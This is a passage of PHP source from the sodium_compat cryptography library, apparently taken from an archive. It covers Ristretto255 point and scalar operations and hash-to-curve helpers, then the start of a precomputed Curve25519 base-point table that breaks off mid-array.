$t * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * * @throws SodiumException */ public static function ristretto255_elligator(ParagonIE_Sodium_Core_Curve25519_Fe $t) { $sqrtm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1); $onemsqd = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$onemsqd); $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d); $sqdmone = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqdmone); $sqrtadm1 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtadm1); $one = self::fe_1(); $r = self::fe_mul($sqrtm1, self::fe_sq($t)); /* r = sqrt(-1)*t^2 */ $u = self::fe_mul(self::fe_add($r, $one), $onemsqd); /* u = (r+1)*(1-d^2) */ $c = self::fe_neg(self::fe_1()); /* c = -1 */ $rpd = self::fe_add($r, $d); /* rpd = r+d */ $v = self::fe_mul( self::fe_sub( $c, self::fe_mul($r, $d) ), $rpd ); /* v = (c-r*d)*(r+d) */ $result = self::ristretto255_sqrt_ratio_m1($u, $v); $s = $result['x']; $wasnt_square = 1 - $result['nonsquare']; $s_prime = self::fe_neg( self::fe_abs( self::fe_mul($s, $t) ) ); /* s_prime = -|s*t| */ $s = self::fe_cmov($s, $s_prime, $wasnt_square); $c = self::fe_cmov($c, $r, $wasnt_square); // fe25519_sub(n, r, one); /* n = r-1 */ // fe25519_mul(n, n, c); /* n = c*(r-1) */ // fe25519_mul(n, n, ed25519_sqdmone); /* n = c*(r-1)*(d-1)^2 */ // fe25519_sub(n, n, v); /* n = c*(r-1)*(d-1)^2-v */ $n = self::fe_sub( self::fe_mul( self::fe_mul( self::fe_sub($r, $one), $c ), $sqdmone ), $v ); /* n = c*(r-1)*(d-1)^2-v */ $w0 = self::fe_mul( self::fe_add($s, $s), $v ); /* w0 = 2s*v */ $w1 = self::fe_mul($n, $sqrtadm1); /* w1 = n*sqrt(ad-1) */ $ss = self::fe_sq($s); /* ss = s^2 */ $w2 = self::fe_sub($one, $ss); /* w2 = 1-s^2 */ $w3 = self::fe_add($one, $ss); /* w3 = 1+s^2 */ return new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_mul($w0, $w3), self::fe_mul($w2, $w1), self::fe_mul($w1, $w3), self::fe_mul($w0, $w2) ); } /** * @param string $h * @return string * @throws SodiumException */ public static function ristretto255_from_hash($h) { if (self::strlen($h) !== 64) { throw new SodiumException('Hash must be 64 bytes'); } //fe25519_frombytes(r0, h); //fe25519_frombytes(r1, h + 32); $r0 = self::fe_frombytes(self::substr($h, 0, 32)); $r1 = self::fe_frombytes(self::substr($h, 32, 32)); //ristretto255_elligator(&p0, r0); //ristretto255_elligator(&p1, r1); $p0 = self::ristretto255_elligator($r0); $p1 = self::ristretto255_elligator($r1); //ge25519_p3_to_cached(&p1_cached, &p1); //ge25519_add_cached(&p_p1p1, &p0, &p1_cached); $p_p1p1 = self::ge_add( $p0, self::ge_p3_to_cached($p1) ); //ge25519_p1p1_to_p3(&p, &p_p1p1); //ristretto255_p3_tobytes(s, &p); return self::ristretto255_p3_tobytes( self::ge_p1p1_to_p3($p_p1p1) ); } /** * @param string $p * @return int * @throws SodiumException */ public static function is_valid_point($p) { $result = self::ristretto255_frombytes($p); if ($result['res'] !== 0) { return 0; } return 1; } /** * @param string $p * @param string $q * @return string * @throws SodiumException */ public static function ristretto255_add($p, $q) { $p_res = self::ristretto255_frombytes($p); $q_res = self::ristretto255_frombytes($q); if ($p_res['res'] !== 0 || $q_res['res'] !== 0) { throw new SodiumException('Could not add points'); } $p_p3 = $p_res['h']; $q_p3 = $q_res['h']; $q_cached = self::ge_p3_to_cached($q_p3); $r_p1p1 = self::ge_add($p_p3, $q_cached); $r_p3 = self::ge_p1p1_to_p3($r_p1p1); return self::ristretto255_p3_tobytes($r_p3); } /** * @param string $p * @param string $q * @return string * @throws SodiumException */ public static function ristretto255_sub($p, $q) { $p_res = self::ristretto255_frombytes($p); $q_res = self::ristretto255_frombytes($q); if ($p_res['res'] !== 0 || $q_res['res'] !== 0) { throw new SodiumException('Could not add points'); } $p_p3 = $p_res['h']; $q_p3 = $q_res['h']; $q_cached = self::ge_p3_to_cached($q_p3); $r_p1p1 = self::ge_sub($p_p3, $q_cached); $r_p3 = self::ge_p1p1_to_p3($r_p1p1); return self::ristretto255_p3_tobytes($r_p3); } /** * @param int $hLen * @param ?string $ctx * @param string $msg * @return string * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument hash API */ protected static function h2c_string_to_hash_sha256($hLen, $ctx, $msg) { $h = array_fill(0, $hLen, 0); $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0; if ($hLen > 0xff) { throw new SodiumException('Hash must be less than 256 bytes'); } if ($ctx_len > 0xff) { $st = hash_init('sha256'); self::hash_update($st, "H2C-OVERSIZE-DST-"); self::hash_update($st, $ctx); $ctx = hash_final($st, true); $ctx_len = 32; } $t = array(0, $hLen, 0); $ux = str_repeat("\0", 64); $st = hash_init('sha256'); self::hash_update($st, $ux); self::hash_update($st, $msg); self::hash_update($st, self::intArrayToString($t)); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $u0 = hash_final($st, true); for ($i = 0; $i < $hLen; $i += 64) { $ux = self::xorStrings($ux, $u0); ++$t[2]; $st = hash_init('sha256'); self::hash_update($st, $ux); self::hash_update($st, self::intToChr($t[2])); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $ux = hash_final($st, true); $amount = min($hLen - $i, 64); for ($j = 0; $j < $amount; ++$j) { $h[$i + $j] = self::chrToInt($ux[$i]); } } return self::intArrayToString(array_slice($h, 0, $hLen)); } /** * @param int $hLen * @param ?string $ctx * @param string $msg * @return string * @throws SodiumException * @psalm-suppress PossiblyInvalidArgument hash API */ protected static function h2c_string_to_hash_sha512($hLen, $ctx, $msg) { $h = array_fill(0, $hLen, 0); $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0; if ($hLen > 0xff) { throw new SodiumException('Hash must be less than 256 bytes'); } if ($ctx_len > 0xff) { $st = hash_init('sha256'); self::hash_update($st, "H2C-OVERSIZE-DST-"); self::hash_update($st, $ctx); $ctx = hash_final($st, true); $ctx_len = 32; } $t = array(0, $hLen, 0); $ux = str_repeat("\0", 128); $st = hash_init('sha512'); self::hash_update($st, $ux); self::hash_update($st, $msg); self::hash_update($st, self::intArrayToString($t)); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $u0 = hash_final($st, true); for ($i = 0; $i < $hLen; $i += 128) { $ux = self::xorStrings($ux, $u0); ++$t[2]; $st = hash_init('sha512'); self::hash_update($st, $ux); self::hash_update($st, self::intToChr($t[2])); self::hash_update($st, $ctx); self::hash_update($st, self::intToChr($ctx_len)); $ux = hash_final($st, true); $amount = min($hLen - $i, 128); for ($j = 0; $j < $amount; ++$j) { $h[$i + $j] = self::chrToInt($ux[$i]); } } return self::intArrayToString(array_slice($h, 0, $hLen)); } /** * @param int $hLen * @param ?string $ctx * @param string $msg * @param int $hash_alg * @return string * @throws SodiumException */ public static function h2c_string_to_hash($hLen, $ctx, $msg, $hash_alg) { switch ($hash_alg) { case self::CORE_H2C_SHA256: return self::h2c_string_to_hash_sha256($hLen, $ctx, $msg); case self::CORE_H2C_SHA512: return self::h2c_string_to_hash_sha512($hLen, $ctx, $msg); default: throw new SodiumException('Invalid H2C hash algorithm'); } } /** * @param ?string $ctx * @param string $msg * @param int $hash_alg * @return string * @throws SodiumException */ protected static function _string_to_element($ctx, $msg, $hash_alg) { return self::ristretto255_from_hash( self::h2c_string_to_hash(self::crypto_core_ristretto255_HASHBYTES, $ctx, $msg, $hash_alg) ); } /** * @return string * @throws SodiumException * @throws Exception */ public static function ristretto255_random() { return self::ristretto255_from_hash( ParagonIE_Sodium_Compat::randombytes_buf(self::crypto_core_ristretto255_HASHBYTES) ); } /** * @return string * @throws SodiumException */ public static function ristretto255_scalar_random() { return self::scalar_random(); } /** * @param string $s * @return string * @throws SodiumException */ public static function ristretto255_scalar_complement($s) { return self::scalar_complement($s); } /** * @param string $s * @return string */ public static function ristretto255_scalar_invert($s) { return self::sc25519_invert($s); } /** * @param string $s * @return string * @throws SodiumException */ public static function ristretto255_scalar_negate($s) { return self::scalar_negate($s); } /** * @param string $x * @param string $y * @return string */ public static function ristretto255_scalar_add($x, $y) { return self::scalar_add($x, $y); } /** * @param string $x * @param string $y * @return string */ public static function ristretto255_scalar_sub($x, $y) { return self::scalar_sub($x, $y); } /** * @param string $x * @param string $y * @return string */ public static function ristretto255_scalar_mul($x, $y) { return self::sc25519_mul($x, $y); } /** * @param string $ctx * @param string $msg * @param int $hash_alg * @return string * @throws SodiumException */ public static function ristretto255_scalar_from_string($ctx, $msg, $hash_alg) { $h = array_fill(0, 64, 0); $h_be = self::stringToIntArray( self::h2c_string_to_hash( self::HASH_SC_L, $ctx, $msg, $hash_alg ) ); for ($i = 0; $i < self::HASH_SC_L; ++$i) { $h[$i] = $h_be[self::HASH_SC_L - 1 - $i]; } return self::ristretto255_scalar_reduce(self::intArrayToString($h)); } /** * @param string $s * @return string */ public static function ristretto255_scalar_reduce($s) { return self::sc_reduce($s); } /** * @param string $n * @param string $p * @return string * @throws SodiumException */ public static function scalarmult_ristretto255($n, $p) { if (self::strlen($n) !== 32) { throw new SodiumException('Scalar must be 32 bytes, ' . self::strlen($p) . ' given.'); } if (self::strlen($p) !== 32) { throw new SodiumException('Point must be 32 bytes, ' . self::strlen($p) . ' given.'); } $result = self::ristretto255_frombytes($p); if ($result['res'] !== 0) { throw new SodiumException('Could not multiply points'); } $P = $result['h']; $t = self::stringToIntArray($n); $t[31] &= 0x7f; $Q = self::ge_scalarmult(self::intArrayToString($t), $P); $q = self::ristretto255_p3_tobytes($Q); if (ParagonIE_Sodium_Compat::is_zero($q)) { throw new SodiumException('An unknown error has occurred'); } return $q; } /** * @param string $n * @return string * @throws SodiumException */ public static function scalarmult_ristretto255_base($n) { $t = self::stringToIntArray($n); $t[31] &= 0x7f; $Q = self::ge_scalarmult_base(self::intArrayToString($t)); $q = self::ristretto255_p3_tobytes($Q); if (ParagonIE_Sodium_Compat::is_zero($q)) { throw new SodiumException('An unknown error has occurred'); } return $q; } } sodium_compat/src/Core/Curve25519/H.php000064400000327571147177035010013504 0ustar00>>> Basically, int[32][8][3][10] */ protected static $base = array( array( array( array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605), array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378), array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546), ), array( array(-12815894, -12976347, -21581243, 11784320, -25355658, -2750717, -11717903, -3814571, -358445, -10211303), array(-21703237, 6903825, 27185491, 6451973, -29577724, -9554005, -15616551, 11189268, -26829678, -5319081), array(26966642, 11152617, 32442495, 15396054, 14353839, -12752335, -3128826, -9541118, -15472047, -4166697), ), array( array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024), array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574), array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357), ), array( array(-17036878, 13921892, 10945806, -6033431, 27105052, -16084379, -28926210, 15006023, 3284568, -6276540), array(23599295, -8306047, -11193664, -7687416, 13236774, 10506355, 7464579, 9656445, 13059162, 10374397), array(7798556, 16710257, 3033922, 2874086, 28997861, 2835604, 32406664, -3839045, -641708, -101325), ), array( array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380), array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306), array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942), ), array( array(-15371964, -12862754, 32573250, 4720197, -26436522, 5875511, -19188627, -15224819, -9818940, -12085777), array(-8549212, 109983, 15149363, 2178705, 22900618, 4543417, 3044240, -15689887, 1762328, 14866737), array(-18199695, -15951423, -10473290, 1707278, -17185920, 3916101, -28236412, 3959421, 27914454, 4383652), ), array( array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766), array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701), array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300), ), array( array(14499471, -2729599, -33191113, -4254652, 28494862, 14271267, 30290735, 10876454, -33154098, 2381726), array(-7195431, -2655363, -14730155, 462251, -27724326, 3941372, -6236617, 3696005, -32300832, 15351955), array(27431194, 8222322, 16448760, -3907995, -18707002, 11938355, -32961401, -2970515, 29551813, 10109425), ), ), array( array( array(-13657040, -13155431, -31283750, 11777098, 21447386, 6519384, -2378284, -1627556, 10092783, -4764171), array(27939166, 14210322, 4677035, 16277044, -22964462, -12398139, -32508754, 12005538, -17810127, 12803510), array(17228999, -15661624, -1233527, 300140, -1224870, -11714777, 30364213, -9038194, 18016357, 4397660), ), array( array(-10958843, -7690207, 4776341, -14954238, 27850028, -15602212, -26619106, 14544525, -17477504, 982639), array(29253598, 15796703, -2863982, -9908884, 10057023, 3163536, 7332899, -4120128, -21047696, 9934963), array(5793303, 16271923, -24131614, -10116404, 29188560, 1206517, -14747930, 4559895, -30123922, -10897950), ), array( array(-27643952, -11493006, 16282657, -11036493, 28414021, -15012264, 24191034, 4541697, -13338309, 5500568), array(12650548, -1497113, 9052871, 11355358, -17680037, -8400164, -17430592, 12264343, 10874051, 13524335), array(25556948, -3045990, 714651, 2510400, 23394682, -10415330, 33119038, 5080568, -22528059, 5376628), ), array( array(-26088264, -4011052, -17013699, -3537628, -6726793, 1920897, -22321305, -9447443, 4535768, 1569007), array(-2255422, 14606630, -21692440, -8039818, 28430649, 8775819, -30494562, 3044290, 31848280, 12543772), array(-22028579, 2943893, -31857513, 6777306, 13784462, -4292203, -27377195, -2062731, 7718482, 14474653), ), array( array(2385315, 2454213, -22631320, 46603, -4437935, -15680415, 656965, -7236665, 24316168, -5253567), array(13741529, 10911568, -33233417, -8603737, -20177830, -1033297, 33040651, -13424532, -20729456, 8321686), array(21060490, -2212744, 15712757, -4336099, 1639040, 10656336, 23845965, -11874838, -9984458, 608372), ), array( array(-13672732, -15087586, -10889693, -7557059, -6036909, 11305547, 1123968, -6780577, 27229399, 23887), array(-23244140, -294205, -11744728, 14712571, -29465699, -2029617, 12797024, -6440308, -1633405, 16678954), array(-29500620, 4770662, -16054387, 14001338, 7830047, 9564805, -1508144, -4795045, -17169265, 4904953), ), array( array(24059557, 14617003, 19037157, -15039908, 19766093, -14906429, 5169211, 16191880, 2128236, -4326833), array(-16981152, 4124966, -8540610, -10653797, 30336522, -14105247, -29806336, 916033, -6882542, -2986532), array(-22630907, 12419372, -7134229, -7473371, -16478904, 16739175, 285431, 2763829, 15736322, 4143876), ), array( array(2379352, 11839345, -4110402, -5988665, 11274298, 794957, 212801, -14594663, 23527084, -16458268), array(33431127, -11130478, -17838966, -15626900, 8909499, 8376530, -32625340, 4087881, -15188911, -14416214), array(1767683, 7197987, -13205226, -2022635, -13091350, 448826, 5799055, 4357868, -4774191, -16323038), ), ), array( array( array(6721966, 13833823, -23523388, -1551314, 26354293, -11863321, 23365147, -3949732, 7390890, 2759800), array(4409041, 2052381, 23373853, 10530217, 7676779, -12885954, 21302353, -4264057, 1244380, -12919645), array(-4421239, 7169619, 4982368, -2957590, 30256825, -2777540, 14086413, 9208236, 15886429, 16489664), ), array( array(1996075, 10375649, 14346367, 13311202, -6874135, -16438411, -13693198, 398369, -30606455, -712933), array(-25307465, 9795880, -2777414, 14878809, -33531835, 14780363, 13348553, 12076947, -30836462, 5113182), array(-17770784, 11797796, 31950843, 13929123, -25888302, 12288344, -30341101, -7336386, 13847711, 5387222), ), array( array(-18582163, -3416217, 17824843, -2340966, 22744343, -10442611, 8763061, 3617786, -19600662, 10370991), array(20246567, -14369378, 22358229, -543712, 18507283, -10413996, 14554437, -8746092, 32232924, 16763880), array(9648505, 10094563, 26416693, 14745928, -30374318, -6472621, 11094161, 15689506, 3140038, -16510092), ), array( array(-16160072, 5472695, 31895588, 4744994, 8823515, 10365685, -27224800, 9448613, -28774454, 366295), array(19153450, 11523972, -11096490, -6503142, -24647631, 5420647, 28344573, 8041113, 719605, 11671788), array(8678025, 2694440, -6808014, 2517372, 4964326, 11152271, -15432916, -15266516, 27000813, -10195553), ), array( array(-15157904, 7134312, 8639287, -2814877, -7235688, 10421742, 564065, 5336097, 6750977, -14521026), array(11836410, -3979488, 26297894, 16080799, 23455045, 15735944, 1695823, -8819122, 8169720, 16220347), array(-18115838, 8653647, 17578566, -6092619, -8025777, -16012763, -11144307, -2627664, -5990708, -14166033), ), array( array(-23308498, -10968312, 15213228, -10081214, -30853605, -11050004, 27884329, 2847284, 2655861, 1738395), array(-27537433, -14253021, -25336301, -8002780, -9370762, 8129821, 21651608, -3239336, -19087449, -11005278), array(1533110, 3437855, 23735889, 459276, 29970501, 11335377, 26030092, 5821408, 10478196, 8544890), ), array( array(32173121, -16129311, 24896207, 3921497, 22579056, -3410854, 19270449, 12217473, 17789017, -3395995), array(-30552961, -2228401, -15578829, -10147201, 13243889, 517024, 15479401, -3853233, 30460520, 1052596), array(-11614875, 13323618, 32618793, 8175907, -15230173, 12596687, 27491595, -4612359, 3179268, -9478891), ), array( array(31947069, -14366651, -4640583, -15339921, -15125977, -6039709, -14756777, -16411740, 19072640, -9511060), array(11685058, 11822410, 3158003, -13952594, 33402194, -4165066, 5977896, -5215017, 473099, 5040608), array(-20290863, 8198642, -27410132, 11602123, 1290375, -2799760, 28326862, 1721092, -19558642, -3131606), ), ), array( array( array(7881532, 10687937, 7578723, 7738378, -18951012, -2553952, 21820786, 8076149, -27868496, 11538389), array(-19935666, 3899861, 18283497, -6801568, -15728660, -11249211, 8754525, 7446702, -5676054, 5797016), array(-11295600, -3793569, -15782110, -7964573, 12708869, -8456199, 2014099, -9050574, -2369172, -5877341), ), array( array(-22472376, -11568741, -27682020, 1146375, 18956691, 16640559, 1192730, -3714199, 15123619, 10811505), array(14352098, -3419715, -18942044, 10822655, 32750596, 4699007, -70363, 15776356, -28886779, -11974553), array(-28241164, -8072475, -4978962, -5315317, 29416931, 1847569, -20654173, -16484855, 4714547, -9600655), ), array( array(15200332, 8368572, 19679101, 15970074, -31872674, 1959451, 24611599, -4543832, -11745876, 12340220), array(12876937, -10480056, 33134381, 6590940, -6307776, 14872440, 9613953, 8241152, 15370987, 9608631), array(-4143277, -12014408, 8446281, -391603, 4407738, 13629032, -7724868, 15866074, -28210621, -8814099), ), array( array(26660628, -15677655, 8393734, 358047, -7401291, 992988, -23904233, 858697, 20571223, 8420556), array(14620715, 13067227, -15447274, 8264467, 14106269, 15080814, 33531827, 12516406, -21574435, -12476749), array(236881, 10476226, 57258, -14677024, 6472998, 2466984, 17258519, 7256740, 8791136, 15069930), ), array( array(1276410, -9371918, 22949635, -16322807, -23493039, -5702186, 14711875, 4874229, -30663140, -2331391), array(5855666, 4990204, -13711848, 7294284, -7804282, 1924647, -1423175, -7912378, -33069337, 9234253), array(20590503, -9018988, 31529744, -7352666, -2706834, 10650548, 31559055, -11609587, 18979186, 13396066), ), array( array(24474287, 4968103, 22267082, 4407354, 24063882, -8325180, -18816887, 13594782, 33514650, 7021958), array(-11566906, -6565505, -21365085, 15928892, -26158305, 4315421, -25948728, -3916677, -21480480, 12868082), array(-28635013, 13504661, 19988037, -2132761, 21078225, 6443208, -21446107, 2244500, -12455797, -8089383), ), array( array(-30595528, 13793479, -5852820, 319136, -25723172, -6263899, 33086546, 8957937, -15233648, 5540521), array(-11630176, -11503902, -8119500, -7643073, 2620056, 1022908, -23710744, -1568984, -16128528, -14962807), array(23152971, 775386, 27395463, 14006635, -9701118, 4649512, 1689819, 892185, -11513277, -15205948), ), array( array(9770129, 9586738, 26496094, 4324120, 1556511, -3550024, 27453819, 4763127, -19179614, 5867134), array(-32765025, 1927590, 31726409, -4753295, 23962434, -16019500, 27846559, 5931263, -29749703, -16108455), array(27461885, -2977536, 22380810, 1815854, -23033753, -3031938, 7283490, -15148073, -19526700, 7734629), ), ), array( array( array(-8010264, -9590817, -11120403, 6196038, 29344158, -13430885, 7585295, -3176626, 18549497, 15302069), array(-32658337, -6171222, -7672793, -11051681, 6258878, 13504381, 10458790, -6418461, -8872242, 8424746), array(24687205, 8613276, -30667046, -3233545, 1863892, -1830544, 19206234, 7134917, -11284482, -828919), ), array( array(11334899, -9218022, 8025293, 12707519, 17523892, -10476071, 10243738, -14685461, -5066034, 16498837), array(8911542, 6887158, -9584260, -6958590, 11145641, -9543680, 17303925, -14124238, 6536641, 10543906), array(-28946384, 15479763, -17466835, 568876, -1497683, 11223454, -2669190, -16625574, -27235709, 8876771), ), array( array(-25742899, -12566864, -15649966, -846607, -33026686, -796288, -33481822, 15824474, -604426, -9039817), array(10330056, 70051, 7957388, -9002667, 9764902, 15609756, 27698697, -4890037, 1657394, 3084098), array(10477963, -7470260, 12119566, -13250805, 29016247, -5365589, 31280319, 14396151, -30233575, 15272409), ), array( array(-12288309, 3169463, 28813183, 16658753, 25116432, -5630466, -25173957, -12636138, -25014757, 1950504), array(-26180358, 9489187, 11053416, -14746161, -31053720, 5825630, -8384306, -8767532, 15341279, 8373727), array(28685821, 7759505, -14378516, -12002860, -31971820, 4079242, 298136, -10232602, -2878207, 15190420), ), array( array(-32932876, 13806336, -14337485, -15794431, -24004620, 10940928, 8669718, 2742393, -26033313, -6875003), array(-1580388, -11729417, -25979658, -11445023, -17411874, -10912854, 9291594, -16247779, -12154742, 6048605), array(-30305315, 14843444, 1539301, 11864366, 20201677, 1900163, 13934231, 5128323, 11213262, 9168384), ), array( array(-26280513, 11007847, 19408960, -940758, -18592965, -4328580, -5088060, -11105150, 20470157, -16398701), array(-23136053, 9282192, 14855179, -15390078, -7362815, -14408560, -22783952, 14461608, 14042978, 5230683), array(29969567, -2741594, -16711867, -8552442, 9175486, -2468974, 21556951, 3506042, -5933891, -12449708), ), array( array(-3144746, 8744661, 19704003, 4581278, -20430686, 6830683, -21284170, 8971513, -28539189, 15326563), array(-19464629, 10110288, -17262528, -3503892, -23500387, 1355669, -15523050, 15300988, -20514118, 9168260), array(-5353335, 4488613, -23803248, 16314347, 7780487, -15638939, -28948358, 9601605, 33087103, -9011387), ), array( array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672), array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686), array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665), ), ), array( array( array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182), array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277), array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628), ), array( array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474), array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539), array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822), ), array( array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970), array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756), array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508), ), array( array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683), array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655), array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158), ), array( array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125), array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839), array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664), ), array( array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294), array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899), array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070), ), array( array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294), array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949), array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083), ), array( array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420), array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940), array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396), ), ), array( array( array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567), array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127), array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294), ), array( array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887), array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964), array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195), ), array( array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244), array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999), array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762), ), array( array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274), array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236), array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605), ), array( array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761), array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884), array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482), ), array( array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638), array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490), array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170), ), array( array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736), array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124), array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392), ), array( array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029), array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048), array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958), ), ), array( array( array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593), array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071), array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692), ), array( array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687), array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441), array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001), ), array( array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460), array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007), array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762), ), array( array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005), array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674), array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035), ), array( array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590), array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957), array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812), ), array( array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740), array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 